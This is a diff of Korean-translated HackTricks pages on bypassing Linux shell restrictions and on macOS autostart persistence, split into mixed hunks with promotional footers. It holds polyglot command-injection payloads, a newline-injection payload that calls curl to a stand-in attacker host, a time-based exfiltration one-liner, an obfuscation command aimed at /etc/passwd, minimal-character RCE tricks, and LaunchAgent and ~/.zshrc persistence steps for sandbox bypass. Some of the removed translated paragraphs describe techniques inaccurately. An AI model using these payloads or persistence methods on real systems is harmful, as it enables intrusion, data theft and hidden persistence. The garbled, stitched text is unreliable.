||||
|
||||
Using proxy servers is a common way to bypass IP restrictions. By routing your traffic through a proxy server, you can hide your original IP address and appear as if you are accessing the target from a different location. There are both free and paid proxy servers available that you can use for this purpose.
|
||||
|
||||
#### 2. VPN (Virtual Private Network)
|
||||
|
||||
A VPN is another effective method to bypass IP restrictions. By connecting to a VPN server, your traffic is encrypted and routed through the server, making it appear as if you are accessing the target from the VPN server's location. VPNs are widely used for privacy and security purposes, and there are many VPN service providers available.
|
||||
|
||||
#### 3. Tor Network
|
||||
|
||||
The Tor network is a decentralized network that allows users to browse the internet anonymously. By using the Tor browser, your traffic is routed through multiple volunteer-operated servers, making it difficult to trace back to your original IP address. However, it is important to note that the Tor network may introduce additional latency and may not be suitable for all types of activities.
|
||||
|
||||
#### 4. Mobile Hotspots
|
||||
|
||||
If you have access to a mobile device with internet connectivity, you can use it as a mobile hotspot to bypass IP restrictions. By connecting your computer to the mobile hotspot, you can use the mobile device's IP address to access the target. This method can be useful when other options are not available.
|
||||
|
||||
These are just a few methods to bypass IP restrictions. It is important to note that bypassing IP restrictions may be against the terms of service of certain platforms or websites, so always ensure that you have proper authorization before attempting any bypassing techniques.
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### 시간 기반 데이터 유출
|
||||
|
||||
Time based data exfiltration is a technique used by hackers to extract sensitive information from a target system by manipulating the timing of certain actions. This technique is particularly useful when traditional methods of data exfiltration, such as network-based or file-based exfiltration, are blocked or monitored.
|
||||
|
||||
시간 기반 데이터 유출은 해커들이 특정 동작의 타이밍을 조작하여 대상 시스템에서 민감한 정보를 추출하는 기술입니다. 이 기술은 네트워크 기반 또는 파일 기반 데이터 유출과 같은 전통적인 방법이 차단되거나 모니터링되는 경우에 특히 유용합니다.
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### 환경 변수에서 문자 가져오기
|
||||
|
||||
You can use the `echo` command along with the dollar sign `$` to retrieve characters from environment variables.
|
||||
|
||||
환경 변수에서 문자를 가져오기 위해 `echo` 명령어와 달러 기호 `$`를 사용할 수 있습니다.
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -346,8 +165,8 @@ echo ${PATH:0:1} #/
|
|||
|
||||
### 내장 함수
|
||||
|
||||
외부 함수를 실행할 수 없고 **제한된 내장 함수만 사용하여 RCE를 얻을 수 있는 경우**, 이를 우회하기 위한 몇 가지 편리한 트릭이 있습니다. 일반적으로 **모든 내장 함수를 사용할 수 없을 것**이므로 모든 옵션을 알고 우회를 시도해야 합니다. [**devploit**](https://twitter.com/devploit)에서 아이디어를 얻었습니다.\
|
||||
먼저 모든 [**쉘 내장 함수**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**를 확인하세요**. 그런 다음 다음은 몇 가지 **권장 사항**입니다:
|
||||
외부 함수를 실행할 수 없고 **제한된 내장 함수만 사용하여 RCE를 얻을 수 있는 경우**, 이를 우회하기 위한 유용한 트릭이 있습니다. 일반적으로 **모든** **내장 함수를 사용할 수 없을 것**이므로, **모든 옵션을 알고** 감옥을 우회하려고 시도해야 합니다. [**devploit**](https://twitter.com/devploit)의 아이디어에서 나온 것입니다.\
|
||||
먼저 모든 [**쉘 내장 함수**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**를 확인**하십시오. 그런 다음 여기에 몇 가지 **권장 사항**이 있습니다:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -399,60 +218,22 @@ chmod +x [
|
|||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### 다중언어 명령어 삽입
|
||||
|
||||
Polyglot command injection은 여러 언어에서 동작하는 명령어 삽입 기법입니다. 이 기법은 웹 애플리케이션에서 사용자 입력을 처리하는 과정에서 발생하는 취약점을 이용합니다. 공격자는 사용자 입력을 통해 악의적인 명령어를 삽입하여 시스템에 대한 제어를 획득할 수 있습니다.
|
||||
|
||||
이 기법은 여러 언어에서 동작하는 명령어를 사용하여 공격을 수행하기 때문에, 웹 애플리케이션이 어떤 언어로 작성되었든지 상관없이 적용할 수 있습니다. 예를 들어, PHP, Python, Ruby, Perl 등 다양한 언어에서 사용할 수 있는 명령어를 조합하여 공격을 수행할 수 있습니다.
|
||||
|
||||
Polyglot command injection은 웹 애플리케이션의 보안을 강화하기 위해 주의해야 할 취약점 중 하나입니다. 개발자는 사용자 입력을 적절히 필터링하고, 명령어 삽입 공격에 대비하여 적절한 보안 대책을 마련해야 합니다.
|
||||
### 다중언어 명령 삽입
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### 정규식 우회하기
|
||||
|
||||
정규식은 텍스트 패턴을 매칭시키기 위해 사용되는 강력한 도구입니다. 그러나 때로는 정규식 패턴에 의해 제한되는 상황이 발생할 수 있습니다. 이러한 제한을 우회하기 위해 몇 가지 기법을 사용할 수 있습니다.
|
||||
|
||||
1. **문자 클래스 우회**: 정규식 패턴에서 특정 문자 클래스에 대한 제한을 우회하기 위해 해당 문자 클래스에 속하지 않는 문자를 사용할 수 있습니다. 예를 들어, `[a-z]` 문자 클래스에 속하는 문자를 허용하지 않는 패턴이 있다면, `[!a-z]`와 같이 `!`를 사용하여 해당 문자 클래스를 우회할 수 있습니다.
|
||||
|
||||
2. **문자열 치환**: 정규식 패턴에 의해 제한되는 문자열을 다른 문자열로 치환하여 우회할 수 있습니다. 예를 들어, `admin`이라는 문자열을 허용하지 않는 패턴이 있다면, `adm1n`과 같이 문자열을 변형하여 우회할 수 있습니다.
|
||||
|
||||
3. **전방탐색 및 후방탐색**: 전방탐색(`(?=...)`)과 후방탐색(`(?<=...)`)을 사용하여 정규식 패턴에 의해 제한되는 부분을 우회할 수 있습니다. 이러한 탐색 패턴을 사용하면 특정 패턴 앞 또는 뒤에 있는 부분을 선택할 수 있습니다.
|
||||
|
||||
4. **정규식 모드 변경**: 정규식 패턴에 영향을 주는 모드를 변경하여 제한을 우회할 수 있습니다. 예를 들어, `(?i)`를 사용하여 대소문자를 구분하지 않는 모드로 변경할 수 있습니다.
|
||||
|
||||
이러한 기법을 사용하여 정규식 패턴에 의해 제한되는 상황을 우회할 수 있습니다. 그러나 이러한 우회 기법은 특정 상황에 따라 작동할 수 있으므로, 신중하게 사용해야 합니다.
|
||||
### 잠재적인 정규 표현식 우회
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
Bashfuscator는 Bash 스크립트를 난독화하는 도구입니다. 이 도구를 사용하면 스크립트를 읽기 어렵게 만들어서 스크립트의 내용을 보호할 수 있습니다. Bashfuscator는 다양한 난독화 기술을 사용하여 스크립트를 변환합니다. 이러한 변환은 스크립트를 실행하는 데는 영향을 주지 않지만, 스크립트를 분석하거나 수정하는 것을 어렵게 만듭니다.
|
||||
|
||||
Bashfuscator를 사용하려면 다음 명령을 실행하십시오:
|
||||
|
||||
```bash
|
||||
bashfuscator script.sh
|
||||
```
|
||||
|
||||
이 명령은 `script.sh`라는 스크립트를 난독화합니다. 난독화된 스크립트는 `script_obfuscated.sh`라는 파일로 저장됩니다. 이 파일은 원본 스크립트와 동일한 기능을 수행하지만, 읽기 어렵게 변환되어 있습니다.
|
||||
|
||||
Bashfuscator는 다양한 난독화 옵션을 제공합니다. 이러한 옵션을 사용하여 난독화 수준을 조정할 수 있습니다. 예를 들어, `-l` 옵션을 사용하여 난독화 수준을 낮출 수 있습니다. 또한, `-o` 옵션을 사용하여 난독화된 스크립트의 출력 파일 이름을 지정할 수 있습니다.
|
||||
|
||||
Bashfuscator는 스크립트의 난독화만을 목적으로 하며, 보안을 완전히 보장하지는 않습니다. 따라서, 민감한 정보를 포함하는 스크립트를 보호해야 할 경우에는 추가적인 보안 조치를 취해야 합니다.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### 5 글자로 RCE 실행하기
|
||||
|
||||
```bash
|
||||
$ echo ${PATH//:/\n}
|
||||
```
|
||||
|
||||
위 명령어는 5 글자로 RCE(Remote Code Execution)를 실행하는 방법입니다.
|
||||
### 5글자로 RCE 우회
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -500,35 +281,6 @@ ln /f*
|
|||
## to it in the current folder
|
||||
```
|
||||
### 4글자로 RCE 실행하기
|
||||
|
||||
#### 개요
|
||||
|
||||
이 기술은 쉘 명령어를 실행하여 원격 코드 실행(RCE)를 수행하는 방법을 설명합니다. 이 기술은 쉘 명령어를 제한하는 환경에서 유용하게 사용될 수 있습니다.
|
||||
|
||||
#### 과정
|
||||
|
||||
1. 쉘 명령어를 실행할 수 있는 취약한 프로그램을 찾습니다.
|
||||
2. 취약한 프로그램에 입력할 수 있는 문자열을 준비합니다.
|
||||
3. 입력할 문자열을 작성할 때, 쉘 명령어를 실행하기 위해 필요한 최소한의 문자를 사용합니다. 이를 위해 4글자로 구성된 쉘 명령어를 작성합니다.
|
||||
4. 작성한 쉘 명령어를 입력하여 RCE를 실행합니다.
|
||||
|
||||
#### 예시
|
||||
|
||||
다음은 4글자로 RCE를 실행하는 예시입니다.
|
||||
|
||||
```bash
|
||||
$ echo $0
|
||||
bash
|
||||
$ echo $$
|
||||
12345
|
||||
$ echo $0|cut -c1-4>/tmp/.$$
|
||||
$ cat /tmp/.$$
|
||||
bash
|
||||
```
|
||||
|
||||
위 예시에서는 `echo $0` 명령어를 사용하여 현재 쉘의 종류를 확인합니다. 그리고 `echo $$` 명령어를 사용하여 현재 쉘의 프로세스 ID를 확인합니다. 그 다음, `echo $0|cut -c1-4>/tmp/.$$` 명령어를 사용하여 현재 쉘의 종류를 4글자로 자르고 `/tmp/.$$` 파일에 저장합니다. 마지막으로 `cat /tmp/.$$` 명령어를 사용하여 `/tmp/.$$` 파일의 내용을 출력합니다.
|
||||
|
||||
이 예시에서는 4글자로 RCE를 실행하기 위해 `bash`라는 쉘 명령어를 사용하였습니다. 이를 통해 쉘 명령어를 제한하는 환경에서도 RCE를 성공적으로 수행할 수 있습니다.
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -565,7 +317,7 @@ bash
|
|||
```
|
||||
## 읽기 전용/Noexec/Distroless 우회
|
||||
|
||||
**읽기 전용 및 noexec 보호** 또는 distroless 컨테이너 내부에 있는 경우에도 **임의의 이진 파일을 실행할 수 있는 방법이 있습니다. 심지어 셸을 실행할 수도 있습니다!:**
|
||||
만약 **읽기 전용 및 noexec 보호** 또는 distroless 컨테이너 내부에 있다면, 여전히 **임의의 이진 파일을 실행하는 방법이 있습니다. 심지어 셸을 실행할 수도 있습니다!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -577,31 +329,31 @@ bash
|
|||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료 및 더 많은 정보
|
||||
## 참고 및 더 많은 정보
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급인 커뮤니티 도구를 기반으로 한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,62 +2,62 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
이 섹션은 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) 블로그 시리즈를 기반으로 하며, 목표는 **더 많은 Autostart 위치**를 추가하고(가능한 경우), 최신 macOS 버전(13.4)에서 **아직 작동하는 기술**을 나타내며 필요한 **권한**을 명시하는 것입니다.
|
||||
이 섹션은 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) 블로그 시리즈를 기반으로 하며, 목표는 **더 많은 Autostart 위치**를 추가하고 (가능한 경우) **현재 macOS 최신 버전(13.4)에서 여전히 작동하는 기술**을 나타내며 **필요한 권한**을 명시하는 것입니다.
|
||||
|
||||
## 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **sandbox 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 작성**하고 매우 **일반적인** **동작**, 특정 **시간** 또는 **루트 권한이 필요하지 않은 샌드박스 내에서 일반적으로 수행할 수 있는 동작을 기다리는 것이 가능합니다.
|
||||
여기에서는 **sandbox 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 작성**하고 매우 **일반적인 동작**, 특정 **시간** 또는 **루트 권한이 필요하지 않은 샌드박스 내에서 일반적으로 수행할 수 있는 동작**을 **기다리는** 것으로 간단히 무언가를 실행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
- 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
- TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **트리거**: 재부팅
|
||||
* 루트 권한 필요
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **트리거**: 다시 로그인
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **트리거**: 다시 로그인
|
||||
- **`/Library/LaunchAgents`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`/Library/LaunchDaemons`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`/System/Library/LaunchAgents`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`/System/Library/LaunchDaemons`**
|
||||
- **트리거**: 재부팅
|
||||
- 루트 권한 필요
|
||||
- **`~/Library/LaunchAgents`**
|
||||
- **트리거**: 다시 로그인
|
||||
- **`~/Library/LaunchDemons`**
|
||||
- **트리거**: 다시 로그인
|
||||
|
||||
#### 설명 및 공격
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
**`launchd`**는 OX S 커널에서 부팅 시 처음으로 실행되는 프로세스이며 종료 시 가장 마지막에 종료됩니다. 항상 **PID 1**을 가져야 합니다. 이 프로세스는 다음 위치에 있는 **ASEP** **plist**에서 지정된 구성을 **읽고 실행**할 것입니다:
|
||||
**`launchd`**는 OX S 커널에서 부팅 시 처음 실행되는 **첫 번째 프로세스**이며 종료 시에는 마지막에 종료됩니다. 항상 **PID 1**을 가져야 합니다. 이 프로세스는 다음 위치에 있는 **ASEP plists**에서 지정된 구성을 **읽고 실행**할 것입니다:
|
||||
|
||||
* `/Library/LaunchAgents`: 관리자가 설치한 사용자별 에이전트
|
||||
* `/Library/LaunchDaemons`: 관리자가 설치한 시스템 전역 데몬
|
||||
* `/System/Library/LaunchAgents`: Apple이 제공한 사용자별 에이전트
|
||||
* `/System/Library/LaunchDaemons`: Apple이 제공한 시스템 전역 데몬
|
||||
- `/Library/LaunchAgents`: 관리자가 설치한 사용자별 에이전트
|
||||
- `/Library/LaunchDaemons`: 관리자가 설치한 시스템 전역 데몬
|
||||
- `/System/Library/LaunchAgents`: Apple이 제공하는 사용자별 에이전트
|
||||
- `/System/Library/LaunchDaemons`: Apple이 제공하는 시스템 전역 데몬
|
||||
|
||||
사용자가 로그인하면 `/Users/$USER/Library/LaunchAgents` 및 `/Users/$USER/Library/LaunchDemons`에 있는 plist가 **로그인한 사용자의 권한**으로 시작됩니다.
|
||||
사용자가 로그인하면 `/Users/$USER/Library/LaunchAgents` 및 `/Users/$USER/Library/LaunchDemons`에 있는 plists가 **로그인한 사용자의 권한**으로 시작됩니다.
|
||||
|
||||
**에이전트와 데몬의 주요 차이점은 에이전트는 사용자가 로그인할 때 로드되고 데몬은 시스템 부팅 시 로드된다는 것**입니다(ssh와 같은 서비스는 시스템에 접근하기 전에 실행되어야 하기 때문). 또한 에이전트는 GUI를 사용할 수 있지만 데몬은 백그라운드에서 실행되어야 합니다.
|
||||
**에이전트와 데몬의 주요 차이점은 에이전트는 사용자가 로그인할 때 로드되고 데몬은 시스템 부팅 시 로드된다는 것**입니다(사용자가 시스템에 액세스하기 전에 ssh와 같은 서비스가 실행되어야 하는 경우가 있기 때문). 또한 에이전트는 GUI를 사용할 수 있지만 데몬은 백그라운드에서 실행되어야 합니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
||||
|
@ -83,18 +83,18 @@ HackTricks를 지원하는 다른 방법:
|
|||
**사용자 로그인 전에 실행되어야 하는 경우가 있는데, 이를 PreLoginAgents라고 합니다**. 예를 들어, 이는 로그인 시 보조 기술을 제공하는 데 유용합니다. 이러한 파일들은 `/Library/LaunchAgents`에서도 찾을 수 있습니다([여기](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)에서 예제 확인).
|
||||
|
||||
{% hint style="info" %}
|
||||
새로운 데몬 또는 에이전트 구성 파일은 **다음 재부팅 후 또는** `launchctl load <target.plist>` **를 사용하여 로드됩니다.** `launchctl -F <file>`를 사용하여 확장자 없는 .plist 파일을 로드하는 것도 가능합니다(그러나 이러한 plist 파일들은 자동으로 재부팅 후 로드되지 않습니다).\
|
||||
`launchctl unload <target.plist>`를 사용하여 **로드를 해제**할 수도 있습니다(해당 프로세스는 종료됩니다).
|
||||
새로운 데몬 또는 에이전트 구성 파일은 **다음 재부팅 후 또는** `launchctl load <target.plist>`을 사용하여 **로드됩니다**. **확장자 없이 .plist 파일을 로드하는 것도 가능**합니다. `launchctl -F <file>` (그러나 이러한 plist 파일들은 자동으로 재부팅 후 로드되지 않습니다).\
|
||||
`launchctl unload <target.plist>`로 **언로드**하는 것도 가능합니다(해당 프로세스는 종료됩니다).
|
||||
|
||||
**Agent** 또는 **Daemon**이 **실행되는 것을 방해하는 것(예: 재정의)이 없는지 확인**하려면 다음을 실행하십시오: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
**Agent** 또는 **Daemon**이 **실행되는 것을 방해하는 것이 없는지 확인**하려면 다음을 실행하십시오: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
현재 사용자에 의해 로드된 모든 에이전트 및 데몬을 나열하십시오:
|
||||
현재 사용자에 의해 로드된 모든 에이전트와 데몬을 나열하십시오:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 plist 파일이 사용자에 의해 소유되었다면, 데몬 시스템 전역 폴더에 있더라도 **작업은 사용자로 실행**되고 루트로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.
|
||||
만약 plist 파일이 사용자에 의해 소유되었다면, 데몬 시스템 전역 폴더에 있더라도 **작업은 사용자로 실행**되며 루트로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 쉘 시작 파일
|
||||
|
@ -104,7 +104,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 이 파일을 로드하는 쉘을 실행하는 TCC 우회를 가진 앱을 찾아야 함
|
||||
* 하지만 이 파일들을 로드하는 쉘을 실행하는 TCC 우회를 가진 앱을 찾아야 함
|
||||
|
||||
#### 위치
|
||||
|
||||
|
@ -118,19 +118,19 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
* **`/etc/zlogout`**
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* 루트 권한 필요
|
||||
* 가능한 추가 위치: **`man zsh`**
|
||||
* 추가 가능성 있음: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **트리거**: bash로 터미널 열기
|
||||
* `/etc/profile` (작동하지 않음)
|
||||
* `~/.profile` (작동하지 않음)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **트리거**: xterm으로 예상되지만 **설치되어 있지 않으며** 설치 후에도 이 오류가 발생함: xterm: `DISPLAY is not set`
|
||||
* **트리거**: xterm으로 예상되지만 **설치되어 있지 않음** 및 설치 후에도 이 오류가 발생함: xterm: `DISPLAY is not set`
|
||||
|
||||
#### 설명 및 악용
|
||||
|
||||
`zsh` 또는 `bash`와 같은 쉘 환경을 초기화할 때 **특정 시작 파일이 실행**됩니다. macOS는 현재 기본 쉘로 `/bin/zsh`를 사용합니다. 이 쉘은 터미널 애플리케이션이 시작될 때 또는 SSH를 통해 장치에 액세스할 때 자동으로 액세스됩니다. macOS에는 `bash`와 `sh`도 있지만 사용하려면 명시적으로 호출해야 합니다.
|
||||
|
||||
우리가 **`man zsh`**로 읽을 수 있는 zsh의 매뉴얼 페이지에는 시작 파일에 대한 상세한 설명이 있습니다.
|
||||
우리가 **`man zsh`**로 읽을 수 있는 zsh의 매뉴얼 페이지에는 시작 파일에 대한 긴 설명이 있습니다.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 다시 열린 애플리케이션
|
||||
|
||||
{% hint style="danger" %}
|
||||
지정된 악용을 구성하고 로그아웃 및 로그인 또는 심지어 재부팅을 해도 앱을 실행할 수 없었습니다. (앱이 실행되지 않았습니다. 아마도 이러한 작업이 수행될 때 실행 중이어야 할 수도 있습니다)
|
||||
지정된 악용을 구성하고 로그아웃 및 로그인 또는 재부팅하여 앱을 실행할 수 없었습니다. (앱이 실행되지 않았습니다. 이 작업을 수행할 때 앱이 실행 중이어야 할 수도 있습니다)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -155,7 +155,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
|
||||
다시 열 애플리케이션은 모두 plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` 내에 있습니다.
|
||||
|
||||
따라서 다시 열 애플리케이션을 자체 앱으로 실행하려면 **앱을 목록에 추가**하면 됩니다.
|
||||
따라서 다시 열 애플리케이션이 자체 앱을 시작하도록하려면 **앱을 목록에 추가**하면 됩니다.
|
||||
|
||||
UUID는 해당 디렉토리를 나열하거나 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`로 찾을 수 있습니다.
|
||||
|
||||
|
